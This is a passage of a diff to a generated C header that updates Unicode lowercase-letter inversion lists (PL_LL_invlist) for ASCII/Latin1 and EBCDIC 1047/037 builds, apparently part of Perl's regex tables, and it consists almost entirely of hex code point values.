+	0x2CDE,
+	0x2CDF,
+	0x2CE0,
+	0x2CE1,
+	0x2CE2,
+	0x2CE3,
+	0x2CE5,
+	0x2CEC,
+	0x2CED,
+	0x2CEE,
+	0x2CEF,
+	0x2CF3,
+	0x2CF4,
+	0x2D00,
+	0x2D26,
+	0x2D27,
+	0x2D28,
+	0x2D2D,
+	0x2D2E,
+	0xA641,
+	0xA642,
+	0xA643,
+	0xA644,
+	0xA645,
+	0xA646,
+	0xA647,
+	0xA648,
+	0xA649,
+	0xA64A,
+	0xA64B,
+	0xA64C,
+	0xA64D,
+	0xA64E,
+	0xA64F,
+	0xA650,
+	0xA651,
+	0xA652,
+	0xA653,
+	0xA654,
+	0xA655,
+	0xA656,
+	0xA657,
+	0xA658,
+	0xA659,
+	0xA65A,
+	0xA65B,
+	0xA65C,
+	0xA65D,
+	0xA65E,
+	0xA65F,
+	0xA660,
+	0xA661,
+	0xA662,
+	0xA663,
+	0xA664,
+	0xA665,
+	0xA666,
+	0xA667,
+	0xA668,
+	0xA669,
+	0xA66A,
+	0xA66B,
+	0xA66C,
+	0xA66D,
+	0xA66E,
+	0xA681,
+	0xA682,
+	0xA683,
+	0xA684,
+	0xA685,
+	0xA686,
+	0xA687,
+	0xA688,
+	0xA689,
+	0xA68A,
+	0xA68B,
+	0xA68C,
+	0xA68D,
+	0xA68E,
+	0xA68F,
+	0xA690,
+	0xA691,
+	0xA692,
+	0xA693,
+	0xA694,
+	0xA695,
+	0xA696,
+	0xA697,
+	0xA698,
+	0xA699,
+	0xA69A,
+	0xA69B,
+	0xA69C,
+	0xA723,
+	0xA724,
+	0xA725,
+	0xA726,
+	0xA727,
+	0xA728,
+	0xA729,
+	0xA72A,
+	0xA72B,
+	0xA72C,
+	0xA72D,
+	0xA72E,
+	0xA72F,
+	0xA732,
+	0xA733,
+	0xA734,
+	0xA735,
+	0xA736,
+	0xA737,
+	0xA738,
+	0xA739,
+	0xA73A,
+	0xA73B,
+	0xA73C,
+	0xA73D,
+	0xA73E,
+	0xA73F,
+	0xA740,
+	0xA741,
+	0xA742,
+	0xA743,
+	0xA744,
+	0xA745,
+	0xA746,
+	0xA747,
+	0xA748,
+	0xA749,
+	0xA74A,
+	0xA74B,
+	0xA74C,
+	0xA74D,
+	0xA74E,
+	0xA74F,
+	0xA750,
+	0xA751,
+	0xA752,
+	0xA753,
+	0xA754,
+	0xA755,
+	0xA756,
+	0xA757,
+	0xA758,
+	0xA759,
+	0xA75A,
+	0xA75B,
+	0xA75C,
+	0xA75D,
+	0xA75E,
+	0xA75F,
+	0xA760,
+	0xA761,
+	0xA762,
+	0xA763,
+	0xA764,
+	0xA765,
+	0xA766,
+	0xA767,
+	0xA768,
+	0xA769,
+	0xA76A,
+	0xA76B,
+	0xA76C,
+	0xA76D,
+	0xA76E,
+	0xA76F,
+	0xA770,
+	0xA771,
+	0xA779,
+	0xA77A,
+	0xA77B,
+	0xA77C,
+	0xA77D,
+	0xA77F,
+	0xA780,
+	0xA781,
+	0xA782,
+	0xA783,
+	0xA784,
+	0xA785,
+	0xA786,
+	0xA787,
+	0xA788,
+	0xA78C,
+	0xA78D,
+	0xA78E,
+	0xA78F,
+	0xA791,
+	0xA792,
+	0xA793,
+	0xA796,
+	0xA797,
+	0xA798,
+	0xA799,
+	0xA79A,
+	0xA79B,
+	0xA79C,
+	0xA79D,
+	0xA79E,
+	0xA79F,
+	0xA7A0,
+	0xA7A1,
+	0xA7A2,
+	0xA7A3,
+	0xA7A4,
+	0xA7A5,
+	0xA7A6,
+	0xA7A7,
+	0xA7A8,
+	0xA7A9,
+	0xA7AA,
+	0xA7B5,
+	0xA7B6,
+	0xA7B7,
+	0xA7B8,
+	0xA7FA,
+	0xA7FB,
+	0xAB30,
+	0xAB5B,
+	0xAB60,
+	0xAB66,
+	0xAB70,
+	0xABC0,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFF41,
+	0xFF5B,
+	0x10428,
+	0x10450,
+	0x104D8,
+	0x104FC,
+	0x10CC0,
+	0x10CF3,
+	0x118C0,
+	0x118E0,
+	0x1D41A,
+	0x1D434,
+	0x1D44E,
+	0x1D455,
+	0x1D456,
+	0x1D468,
+	0x1D482,
+	0x1D49C,
+	0x1D4B6,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D4D0,
+	0x1D4EA,
+	0x1D504,
+	0x1D51E,
+	0x1D538,
+	0x1D552,
+	0x1D56C,
+	0x1D586,
+	0x1D5A0,
+	0x1D5BA,
+	0x1D5D4,
+	0x1D5EE,
+	0x1D608,
+	0x1D622,
+	0x1D63C,
+	0x1D656,
+	0x1D670,
+	0x1D68A,
+	0x1D6A6,
+	0x1D6C2,
+	0x1D6DB,
+	0x1D6DC,
+	0x1D6E2,
+	0x1D6FC,
+	0x1D715,
+	0x1D716,
+	0x1D71C,
+	0x1D736,
+	0x1D74F,
+	0x1D750,
+	0x1D756,
+	0x1D770,
+	0x1D789,
+	0x1D78A,
+	0x1D790,
+	0x1D7AA,
+	0x1D7C3,
+	0x1D7C4,
+	0x1D7CA,
+	0x1D7CB,
+	0x1D7CC,
+	0x1E922,
+	0x1E944
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_LL_invlist[] = { /* for EBCDIC 1047 */
+	1281,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
 	0x42,
 	0x4A,
-	0x4B,
-	0x4C,
-	0x4D,
-	0x4E,
 	0x51,
 	0x5A,
-	0x5B,
-	0x5D,
-	0x5E,
-	0x60,
-	0x61,
-	0x62,
-	0x6A,
-	0x6B,
-	0x6C,
-	0x6F,
 	0x70,
 	0x71,
-	0x79,
-	0x7A,
-	0x7B,
-	0x7D,
-	0x7E,
-	0x7F,
-	0x80,
 	0x81,
 	0x8A,
 	0x8C,
 	0x8F,
 	0x91,
+	0x9A,
+	0x9C,
 	0x9D,
-	0x9E,
-	0x9F,
 	0xA0,
 	0xA1,
 	0xA2,
 	0xAA,
-	0xAC,
-	0xAF,
-	0xBA,
-	0xBC,
-	0xC0,
-	0xC1,
-	0xCA,
 	0xCB,
 	0xD0,
-	0xD1,
-	0xDA,
 	0xDB,
 	0xE0,
-	0xE2,
-	0xEA,
-	0xEB,
-	0xF0,
-	0xFA,
-	0xFB,
-	0xFF,
-	0x100,
 	0x101,
 	0x102,
 	0x103,
@@ -76161,10 +291366,8 @@
 	0x1B7,
 	0x1B9,
 	0x1BB,
-	0x1BC,
 	0x1BD,
 	0x1C0,
-	0x1C4,
 	0x1C6,
 	0x1C7,
 	0x1C9,
@@ -76286,8 +291489,2287 @@
 	0x24F,
 	0x294,
 	0x295,
-	0x2B9,
-	0x2C0,
+	0x2B0,
+	0x371,
+	0x372,
+	0x373,
+	0x374,
+	0x377,
+	0x378,
+	0x37B,
+	0x37E,
+	0x390,
+	0x391,
+	0x3AC,
+	0x3CF,
+	0x3D0,
+	0x3D2,
+	0x3D5,
+	0x3D8,
+	0x3D9,
+	0x3DA,
+	0x3DB,
+	0x3DC,
+	0x3DD,
+	0x3DE,
+	0x3DF,
+	0x3E0,
+	0x3E1,
+	0x3E2,
+	0x3E3,
+	0x3E4,
+	0x3E5,
+	0x3E6,
+	0x3E7,
+	0x3E8,
+	0x3E9,
+	0x3EA,
+	0x3EB,
+	0x3EC,
+	0x3ED,
+	0x3EE,
+	0x3EF,
+	0x3F4,
+	0x3F5,
+	0x3F6,
+	0x3F8,
+	0x3F9,
+	0x3FB,
+	0x3FD,
+	0x430,
+	0x460,
+	0x461,
+	0x462,
+	0x463,
+	0x464,
+	0x465,
+	0x466,
+	0x467,
+	0x468,
+	0x469,
+	0x46A,
+	0x46B,
+	0x46C,
+	0x46D,
+	0x46E,
+	0x46F,
+	0x470,
+	0x471,
+	0x472,
+	0x473,
+	0x474,
+	0x475,
+	0x476,
+	0x477,
+	0x478,
+	0x479,
+	0x47A,
+	0x47B,
+	0x47C,
+	0x47D,
+	0x47E,
+	0x47F,
+	0x480,
+	0x481,
+	0x482,
+	0x48B,
+	0x48C,
+	0x48D,
+	0x48E,
+	0x48F,
+	0x490,
+	0x491,
+	0x492,
+	0x493,
+	0x494,
+	0x495,
+	0x496,
+	0x497,
+	0x498,
+	0x499,
+	0x49A,
+	0x49B,
+	0x49C,
+	0x49D,
+	0x49E,
+	0x49F,
+	0x4A0,
+	0x4A1,
+	0x4A2,
+	0x4A3,
+	0x4A4,
+	0x4A5,
+	0x4A6,
+	0x4A7,
+	0x4A8,
+	0x4A9,
+	0x4AA,
+	0x4AB,
+	0x4AC,
+	0x4AD,
+	0x4AE,
+	0x4AF,
+	0x4B0,
+	0x4B1,
+	0x4B2,
+	0x4B3,
+	0x4B4,
+	0x4B5,
+	0x4B6,
+	0x4B7,
+	0x4B8,
+	0x4B9,
+	0x4BA,
+	0x4BB,
+	0x4BC,
+	0x4BD,
+	0x4BE,
+	0x4BF,
+	0x4C0,
+	0x4C2,
+	0x4C3,
+	0x4C4,
+	0x4C5,
+	0x4C6,
+	0x4C7,
+	0x4C8,
+	0x4C9,
+	0x4CA,
+	0x4CB,
+	0x4CC,
+	0x4CD,
+	0x4CE,
+	0x4D0,
+	0x4D1,
+	0x4D2,
+	0x4D3,
+	0x4D4,
+	0x4D5,
+	0x4D6,
+	0x4D7,
+	0x4D8,
+	0x4D9,
+	0x4DA,
+	0x4DB,
+	0x4DC,
+	0x4DD,
+	0x4DE,
+	0x4DF,
+	0x4E0,
+	0x4E1,
+	0x4E2,
+	0x4E3,
+	0x4E4,
+	0x4E5,
+	0x4E6,
+	0x4E7,
+	0x4E8,
+	0x4E9,
+	0x4EA,
+	0x4EB,
+	0x4EC,
+	0x4ED,
+	0x4EE,
+	0x4EF,
+	0x4F0,
+	0x4F1,
+	0x4F2,
+	0x4F3,
+	0x4F4,
+	0x4F5,
+	0x4F6,
+	0x4F7,
+	0x4F8,
+	0x4F9,
+	0x4FA,
+	0x4FB,
+	0x4FC,
+	0x4FD,
+	0x4FE,
+	0x4FF,
+	0x500,
+	0x501,
+	0x502,
+	0x503,
+	0x504,
+	0x505,
+	0x506,
+	0x507,
+	0x508,
+	0x509,
+	0x50A,
+	0x50B,
+	0x50C,
+	0x50D,
+	0x50E,
+	0x50F,
+	0x510,
+	0x511,
+	0x512,
+	0x513,
+	0x514,
+	0x515,
+	0x516,
+	0x517,
+	0x518,
+	0x519,
+	0x51A,
+	0x51B,
+	0x51C,
+	0x51D,
+	0x51E,
+	0x51F,
+	0x520,
+	0x521,
+	0x522,
+	0x523,
+	0x524,
+	0x525,
+	0x526,
+	0x527,
+	0x528,
+	0x529,
+	0x52A,
+	0x52B,
+	0x52C,
+	0x52D,
+	0x52E,
+	0x52F,
+	0x530,
+	0x561,
+	0x588,
+	0x13F8,
+	0x13FE,
+	0x1C80,
+	0x1C89,
+	0x1D00,
+	0x1D2C,
+	0x1D6B,
+	0x1D78,
+	0x1D79,
+	0x1D9B,
+	0x1E01,
+	0x1E02,
+	0x1E03,
+	0x1E04,
+	0x1E05,
+	0x1E06,
+	0x1E07,
+	0x1E08,
+	0x1E09,
+	0x1E0A,
+	0x1E0B,
+	0x1E0C,
+	0x1E0D,
+	0x1E0E,
+	0x1E0F,
+	0x1E10,
+	0x1E11,
+	0x1E12,
+	0x1E13,
+	0x1E14,
+	0x1E15,
+	0x1E16,
+	0x1E17,
+	0x1E18,
+	0x1E19,
+	0x1E1A,
+	0x1E1B,
+	0x1E1C,
+	0x1E1D,
+	0x1E1E,
+	0x1E1F,
+	0x1E20,
+	0x1E21,
+	0x1E22,
+	0x1E23,
+	0x1E24,
+	0x1E25,
+	0x1E26,
+	0x1E27,
+	0x1E28,
+	0x1E29,
+	0x1E2A,
+	0x1E2B,
+	0x1E2C,
+	0x1E2D,
+	0x1E2E,
+	0x1E2F,
+	0x1E30,
+	0x1E31,
+	0x1E32,
+	0x1E33,
+	0x1E34,
+	0x1E35,
+	0x1E36,
+	0x1E37,
+	0x1E38,
+	0x1E39,
+	0x1E3A,
+	0x1E3B,
+	0x1E3C,
+	0x1E3D,
+	0x1E3E,
+	0x1E3F,
+	0x1E40,
+	0x1E41,
+	0x1E42,
+	0x1E43,
+	0x1E44,
+	0x1E45,
+	0x1E46,
+	0x1E47,
+	0x1E48,
+	0x1E49,
+	0x1E4A,
+	0x1E4B,
+	0x1E4C,
+	0x1E4D,
+	0x1E4E,
+	0x1E4F,
+	0x1E50,
+	0x1E51,
+	0x1E52,
+	0x1E53,
+	0x1E54,
+	0x1E55,
+	0x1E56,
+	0x1E57,
+	0x1E58,
+	0x1E59,
+	0x1E5A,
+	0x1E5B,
+	0x1E5C,
+	0x1E5D,
+	0x1E5E,
+	0x1E5F,
+	0x1E60,
+	0x1E61,
+	0x1E62,
+	0x1E63,
+	0x1E64,
+	0x1E65,
+	0x1E66,
+	0x1E67,
+	0x1E68,
+	0x1E69,
+	0x1E6A,
+	0x1E6B,
+	0x1E6C,
+	0x1E6D,
+	0x1E6E,
+	0x1E6F,
+	0x1E70,
+	0x1E71,
+	0x1E72,
+	0x1E73,
+	0x1E74,
+	0x1E75,
+	0x1E76,
+	0x1E77,
+	0x1E78,
+	0x1E79,
+	0x1E7A,
+	0x1E7B,
+	0x1E7C,
+	0x1E7D,
+	0x1E7E,
+	0x1E7F,
+	0x1E80,
+	0x1E81,
+	0x1E82,
+	0x1E83,
+	0x1E84,
+	0x1E85,
+	0x1E86,
+	0x1E87,
+	0x1E88,
+	0x1E89,
+	0x1E8A,
+	0x1E8B,
+	0x1E8C,
+	0x1E8D,
+	0x1E8E,
+	0x1E8F,
+	0x1E90,
+	0x1E91,
+	0x1E92,
+	0x1E93,
+	0x1E94,
+	0x1E95,
+	0x1E9E,
+	0x1E9F,
+	0x1EA0,
+	0x1EA1,
+	0x1EA2,
+	0x1EA3,
+	0x1EA4,
+	0x1EA5,
+	0x1EA6,
+	0x1EA7,
+	0x1EA8,
+	0x1EA9,
+	0x1EAA,
+	0x1EAB,
+	0x1EAC,
+	0x1EAD,
+	0x1EAE,
+	0x1EAF,
+	0x1EB0,
+	0x1EB1,
+	0x1EB2,
+	0x1EB3,
+	0x1EB4,
+	0x1EB5,
+	0x1EB6,
+	0x1EB7,
+	0x1EB8,
+	0x1EB9,
+	0x1EBA,
+	0x1EBB,
+	0x1EBC,
+	0x1EBD,
+	0x1EBE,
+	0x1EBF,
+	0x1EC0,
+	0x1EC1,
+	0x1EC2,
+	0x1EC3,
+	0x1EC4,
+	0x1EC5,
+	0x1EC6,
+	0x1EC7,
+	0x1EC8,
+	0x1EC9,
+	0x1ECA,
+	0x1ECB,
+	0x1ECC,
+	0x1ECD,
+	0x1ECE,
+	0x1ECF,
+	0x1ED0,
+	0x1ED1,
+	0x1ED2,
+	0x1ED3,
+	0x1ED4,
+	0x1ED5,
+	0x1ED6,
+	0x1ED7,
+	0x1ED8,
+	0x1ED9,
+	0x1EDA,
+	0x1EDB,
+	0x1EDC,
+	0x1EDD,
+	0x1EDE,
+	0x1EDF,
+	0x1EE0,
+	0x1EE1,
+	0x1EE2,
+	0x1EE3,
+	0x1EE4,
+	0x1EE5,
+	0x1EE6,
+	0x1EE7,
+	0x1EE8,
+	0x1EE9,
+	0x1EEA,
+	0x1EEB,
+	0x1EEC,
+	0x1EED,
+	0x1EEE,
+	0x1EEF,
+	0x1EF0,
+	0x1EF1,
+	0x1EF2,
+	0x1EF3,
+	0x1EF4,
+	0x1EF5,
+	0x1EF6,
+	0x1EF7,
+	0x1EF8,
+	0x1EF9,
+	0x1EFA,
+	0x1EFB,
+	0x1EFC,
+	0x1EFD,
+	0x1EFE,
+	0x1EFF,
+	0x1F08,
+	0x1F10,
+	0x1F16,
+	0x1F20,
+	0x1F28,
+	0x1F30,
+	0x1F38,
+	0x1F40,
+	0x1F46,
+	0x1F50,
+	0x1F58,
+	0x1F60,
+	0x1F68,
+	0x1F70,
+	0x1F7E,
+	0x1F80,
+	0x1F88,
+	0x1F90,
+	0x1F98,
+	0x1FA0,
+	0x1FA8,
+	0x1FB0,
+	0x1FB5,
+	0x1FB6,
+	0x1FB8,
+	0x1FBE,
+	0x1FBF,
+	0x1FC2,
+	0x1FC5,
+	0x1FC6,
+	0x1FC8,
+	0x1FD0,
+	0x1FD4,
+	0x1FD6,
+	0x1FD8,
+	0x1FE0,
+	0x1FE8,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FF8,
+	0x210A,
+	0x210B,
+	0x210E,
+	0x2110,
+	0x2113,
+	0x2114,
+	0x212F,
+	0x2130,
+	0x2134,
+	0x2135,
+	0x2139,
+	0x213A,
+	0x213C,
+	0x213E,
+	0x2146,
+	0x214A,
+	0x214E,
+	0x214F,
+	0x2184,
+	0x2185,
+	0x2C30,
+	0x2C5F,
+	0x2C61,
+	0x2C62,
+	0x2C65,
+	0x2C67,
+	0x2C68,
+	0x2C69,
+	0x2C6A,
+	0x2C6B,
+	0x2C6C,
+	0x2C6D,
+	0x2C71,
+	0x2C72,
+	0x2C73,
+	0x2C75,
+	0x2C76,
+	0x2C7C,
+	0x2C81,
+	0x2C82,
+	0x2C83,
+	0x2C84,
+	0x2C85,
+	0x2C86,
+	0x2C87,
+	0x2C88,
+	0x2C89,
+	0x2C8A,
+	0x2C8B,
+	0x2C8C,
+	0x2C8D,
+	0x2C8E,
+	0x2C8F,
+	0x2C90,
+	0x2C91,
+	0x2C92,
+	0x2C93,
+	0x2C94,
+	0x2C95,
+	0x2C96,
+	0x2C97,
+	0x2C98,
+	0x2C99,
+	0x2C9A,
+	0x2C9B,
+	0x2C9C,
+	0x2C9D,
+	0x2C9E,
+	0x2C9F,
+	0x2CA0,
+	0x2CA1,
+	0x2CA2,
+	0x2CA3,
+	0x2CA4,
+	0x2CA5,
+	0x2CA6,
+	0x2CA7,
+	0x2CA8,
+	0x2CA9,
+	0x2CAA,
+	0x2CAB,
+	0x2CAC,
+	0x2CAD,
+	0x2CAE,
+	0x2CAF,
+	0x2CB0,
+	0x2CB1,
+	0x2CB2,
+	0x2CB3,
+	0x2CB4,
+	0x2CB5,
+	0x2CB6,
+	0x2CB7,
+	0x2CB8,
+	0x2CB9,
+	0x2CBA,
+	0x2CBB,
+	0x2CBC,
+	0x2CBD,
+	0x2CBE,
+	0x2CBF,
+	0x2CC0,
+	0x2CC1,
+	0x2CC2,
+	0x2CC3,
+	0x2CC4,
+	0x2CC5,
+	0x2CC6,
+	0x2CC7,
+	0x2CC8,
+	0x2CC9,
+	0x2CCA,
+	0x2CCB,
+	0x2CCC,
+	0x2CCD,
+	0x2CCE,
+	0x2CCF,
+	0x2CD0,
+	0x2CD1,
+	0x2CD2,
+	0x2CD3,
+	0x2CD4,
+	0x2CD5,
+	0x2CD6,
+	0x2CD7,
+	0x2CD8,
+	0x2CD9,
+	0x2CDA,
+	0x2CDB,
+	0x2CDC,
+	0x2CDD,
+	0x2CDE,
+	0x2CDF,
+	0x2CE0,
+	0x2CE1,
+	0x2CE2,
+	0x2CE3,
+	0x2CE5,
+	0x2CEC,
+	0x2CED,
+	0x2CEE,
+	0x2CEF,
+	0x2CF3,
+	0x2CF4,
+	0x2D00,
+	0x2D26,
+	0x2D27,
+	0x2D28,
+	0x2D2D,
+	0x2D2E,
+	0xA641,
+	0xA642,
+	0xA643,
+	0xA644,
+	0xA645,
+	0xA646,
+	0xA647,
+	0xA648,
+	0xA649,
+	0xA64A,
+	0xA64B,
+	0xA64C,
+	0xA64D,
+	0xA64E,
+	0xA64F,
+	0xA650,
+	0xA651,
+	0xA652,
+	0xA653,
+	0xA654,
+	0xA655,
+	0xA656,
+	0xA657,
+	0xA658,
+	0xA659,
+	0xA65A,
+	0xA65B,
+	0xA65C,
+	0xA65D,
+	0xA65E,
+	0xA65F,
+	0xA660,
+	0xA661,
+	0xA662,
+	0xA663,
+	0xA664,
+	0xA665,
+	0xA666,
+	0xA667,
+	0xA668,
+	0xA669,
+	0xA66A,
+	0xA66B,
+	0xA66C,
+	0xA66D,
+	0xA66E,
+	0xA681,
+	0xA682,
+	0xA683,
+	0xA684,
+	0xA685,
+	0xA686,
+	0xA687,
+	0xA688,
+	0xA689,
+	0xA68A,
+	0xA68B,
+	0xA68C,
+	0xA68D,
+	0xA68E,
+	0xA68F,
+	0xA690,
+	0xA691,
+	0xA692,
+	0xA693,
+	0xA694,
+	0xA695,
+	0xA696,
+	0xA697,
+	0xA698,
+	0xA699,
+	0xA69A,
+	0xA69B,
+	0xA69C,
+	0xA723,
+	0xA724,
+	0xA725,
+	0xA726,
+	0xA727,
+	0xA728,
+	0xA729,
+	0xA72A,
+	0xA72B,
+	0xA72C,
+	0xA72D,
+	0xA72E,
+	0xA72F,
+	0xA732,
+	0xA733,
+	0xA734,
+	0xA735,
+	0xA736,
+	0xA737,
+	0xA738,
+	0xA739,
+	0xA73A,
+	0xA73B,
+	0xA73C,
+	0xA73D,
+	0xA73E,
+	0xA73F,
+	0xA740,
+	0xA741,
+	0xA742,
+	0xA743,
+	0xA744,
+	0xA745,
+	0xA746,
+	0xA747,
+	0xA748,
+	0xA749,
+	0xA74A,
+	0xA74B,
+	0xA74C,
+	0xA74D,
+	0xA74E,
+	0xA74F,
+	0xA750,
+	0xA751,
+	0xA752,
+	0xA753,
+	0xA754,
+	0xA755,
+	0xA756,
+	0xA757,
+	0xA758,
+	0xA759,
+	0xA75A,
+	0xA75B,
+	0xA75C,
+	0xA75D,
+	0xA75E,
+	0xA75F,
+	0xA760,
+	0xA761,
+	0xA762,
+	0xA763,
+	0xA764,
+	0xA765,
+	0xA766,
+	0xA767,
+	0xA768,
+	0xA769,
+	0xA76A,
+	0xA76B,
+	0xA76C,
+	0xA76D,
+	0xA76E,
+	0xA76F,
+	0xA770,
+	0xA771,
+	0xA779,
+	0xA77A,
+	0xA77B,
+	0xA77C,
+	0xA77D,
+	0xA77F,
+	0xA780,
+	0xA781,
+	0xA782,
+	0xA783,
+	0xA784,
+	0xA785,
+	0xA786,
+	0xA787,
+	0xA788,
+	0xA78C,
+	0xA78D,
+	0xA78E,
+	0xA78F,
+	0xA791,
+	0xA792,
+	0xA793,
+	0xA796,
+	0xA797,
+	0xA798,
+	0xA799,
+	0xA79A,
+	0xA79B,
+	0xA79C,
+	0xA79D,
+	0xA79E,
+	0xA79F,
+	0xA7A0,
+	0xA7A1,
+	0xA7A2,
+	0xA7A3,
+	0xA7A4,
+	0xA7A5,
+	0xA7A6,
+	0xA7A7,
+	0xA7A8,
+	0xA7A9,
+	0xA7AA,
+	0xA7B5,
+	0xA7B6,
+	0xA7B7,
+	0xA7B8,
+	0xA7FA,
+	0xA7FB,
+	0xAB30,
+	0xAB5B,
+	0xAB60,
+	0xAB66,
+	0xAB70,
+	0xABC0,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFF41,
+	0xFF5B,
+	0x10428,
+	0x10450,
+	0x104D8,
+	0x104FC,
+	0x10CC0,
+	0x10CF3,
+	0x118C0,
+	0x118E0,
+	0x1D41A,
+	0x1D434,
+	0x1D44E,
+	0x1D455,
+	0x1D456,
+	0x1D468,
+	0x1D482,
+	0x1D49C,
+	0x1D4B6,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D4D0,
+	0x1D4EA,
+	0x1D504,
+	0x1D51E,
+	0x1D538,
+	0x1D552,
+	0x1D56C,
+	0x1D586,
+	0x1D5A0,
+	0x1D5BA,
+	0x1D5D4,
+	0x1D5EE,
+	0x1D608,
+	0x1D622,
+	0x1D63C,
+	0x1D656,
+	0x1D670,
+	0x1D68A,
+	0x1D6A6,
+	0x1D6C2,
+	0x1D6DB,
+	0x1D6DC,
+	0x1D6E2,
+	0x1D6FC,
+	0x1D715,
+	0x1D716,
+	0x1D71C,
+	0x1D736,
+	0x1D74F,
+	0x1D750,
+	0x1D756,
+	0x1D770,
+	0x1D789,
+	0x1D78A,
+	0x1D790,
+	0x1D7AA,
+	0x1D7C3,
+	0x1D7C4,
+	0x1D7CA,
+	0x1D7CB,
+	0x1D7CC,
+	0x1E922,
+	0x1E944
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_LL_invlist[] = { /* for EBCDIC 037 */
+	1281,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x42,
+	0x4A,
+	0x51,
+	0x5A,
+	0x70,
+	0x71,
+	0x81,
+	0x8A,
+	0x8C,
+	0x8F,
+	0x91,
+	0x9A,
+	0x9C,
+	0x9D,
+	0xA0,
+	0xA1,
+	0xA2,
+	0xAA,
+	0xCB,
+	0xD0,
+	0xDB,
+	0xE0,
+	0x101,
+	0x102,
+	0x103,
+	0x104,
+	0x105,
+	0x106,
+	0x107,
+	0x108,
+	0x109,
+	0x10A,
+	0x10B,
+	0x10C,
+	0x10D,
+	0x10E,
+	0x10F,
+	0x110,
+	0x111,
+	0x112,
+	0x113,
+	0x114,
+	0x115,
+	0x116,
+	0x117,
+	0x118,
+	0x119,
+	0x11A,
+	0x11B,
+	0x11C,
+	0x11D,
+	0x11E,
+	0x11F,
+	0x120,
+	0x121,
+	0x122,
+	0x123,
+	0x124,
+	0x125,
+	0x126,
+	0x127,
+	0x128,
+	0x129,
+	0x12A,
+	0x12B,
+	0x12C,
+	0x12D,
+	0x12E,
+	0x12F,
+	0x130,
+	0x131,
+	0x132,
+	0x133,
+	0x134,
+	0x135,
+	0x136,
+	0x137,
+	0x139,
+	0x13A,
+	0x13B,
+	0x13C,
+	0x13D,
+	0x13E,
+	0x13F,
+	0x140,
+	0x141,
+	0x142,
+	0x143,
+	0x144,
+	0x145,
+	0x146,
+	0x147,
+	0x148,
+	0x14A,
+	0x14B,
+	0x14C,
+	0x14D,
+	0x14E,
+	0x14F,
+	0x150,
+	0x151,
+	0x152,
+	0x153,
+	0x154,
+	0x155,
+	0x156,
+	0x157,
+	0x158,
+	0x159,
+	0x15A,
+	0x15B,
+	0x15C,
+	0x15D,
+	0x15E,
+	0x15F,
+	0x160,
+	0x161,
+	0x162,
+	0x163,
+	0x164,
+	0x165,
+	0x166,
+	0x167,
+	0x168,
+	0x169,
+	0x16A,
+	0x16B,
+	0x16C,
+	0x16D,
+	0x16E,
+	0x16F,
+	0x170,
+	0x171,
+	0x172,
+	0x173,
+	0x174,
+	0x175,
+	0x176,
+	0x177,
+	0x178,
+	0x17A,
+	0x17B,
+	0x17C,
+	0x17D,
+	0x17E,
+	0x181,
+	0x183,
+	0x184,
+	0x185,
+	0x186,
+	0x188,
+	0x189,
+	0x18C,
+	0x18E,
+	0x192,
+	0x193,
+	0x195,
+	0x196,
+	0x199,
+	0x19C,
+	0x19E,
+	0x19F,
+	0x1A1,
+	0x1A2,
+	0x1A3,
+	0x1A4,
+	0x1A5,
+	0x1A6,
+	0x1A8,
+	0x1A9,
+	0x1AA,
+	0x1AC,
+	0x1AD,
+	0x1AE,
+	0x1B0,
+	0x1B1,
+	0x1B4,
+	0x1B5,
+	0x1B6,
+	0x1B7,
+	0x1B9,
+	0x1BB,
+	0x1BD,
+	0x1C0,
+	0x1C6,
+	0x1C7,
+	0x1C9,
+	0x1CA,
+	0x1CC,
+	0x1CD,
+	0x1CE,
+	0x1CF,
+	0x1D0,
+	0x1D1,
+	0x1D2,
+	0x1D3,
+	0x1D4,
+	0x1D5,
+	0x1D6,
+	0x1D7,
+	0x1D8,
+	0x1D9,
+	0x1DA,
+	0x1DB,
+	0x1DC,
+	0x1DE,
+	0x1DF,
+	0x1E0,
+	0x1E1,
+	0x1E2,
+	0x1E3,
+	0x1E4,
+	0x1E5,
+	0x1E6,
+	0x1E7,
+	0x1E8,
+	0x1E9,
+	0x1EA,
+	0x1EB,
+	0x1EC,
+	0x1ED,
+	0x1EE,
+	0x1EF,
+	0x1F1,
+	0x1F3,
+	0x1F4,
+	0x1F5,
+	0x1F6,
+	0x1F9,
+	0x1FA,
+	0x1FB,
+	0x1FC,
+	0x1FD,
+	0x1FE,
+	0x1FF,
+	0x200,
+	0x201,
+	0x202,
+	0x203,
+	0x204,
+	0x205,
+	0x206,
+	0x207,
+	0x208,
+	0x209,
+	0x20A,
+	0x20B,
+	0x20C,
+	0x20D,
+	0x20E,
+	0x20F,
+	0x210,
+	0x211,
+	0x212,
+	0x213,
+	0x214,
+	0x215,
+	0x216,
+	0x217,
+	0x218,
+	0x219,
+	0x21A,
+	0x21B,
+	0x21C,
+	0x21D,
+	0x21E,
+	0x21F,
+	0x220,
+	0x221,
+	0x222,
+	0x223,
+	0x224,
+	0x225,
+	0x226,
+	0x227,
+	0x228,
+	0x229,
+	0x22A,
+	0x22B,
+	0x22C,
+	0x22D,
+	0x22E,
+	0x22F,
+	0x230,
+	0x231,
+	0x232,
+	0x233,
+	0x23A,
+	0x23C,
+	0x23D,
+	0x23F,
+	0x241,
+	0x242,
+	0x243,
+	0x247,
+	0x248,
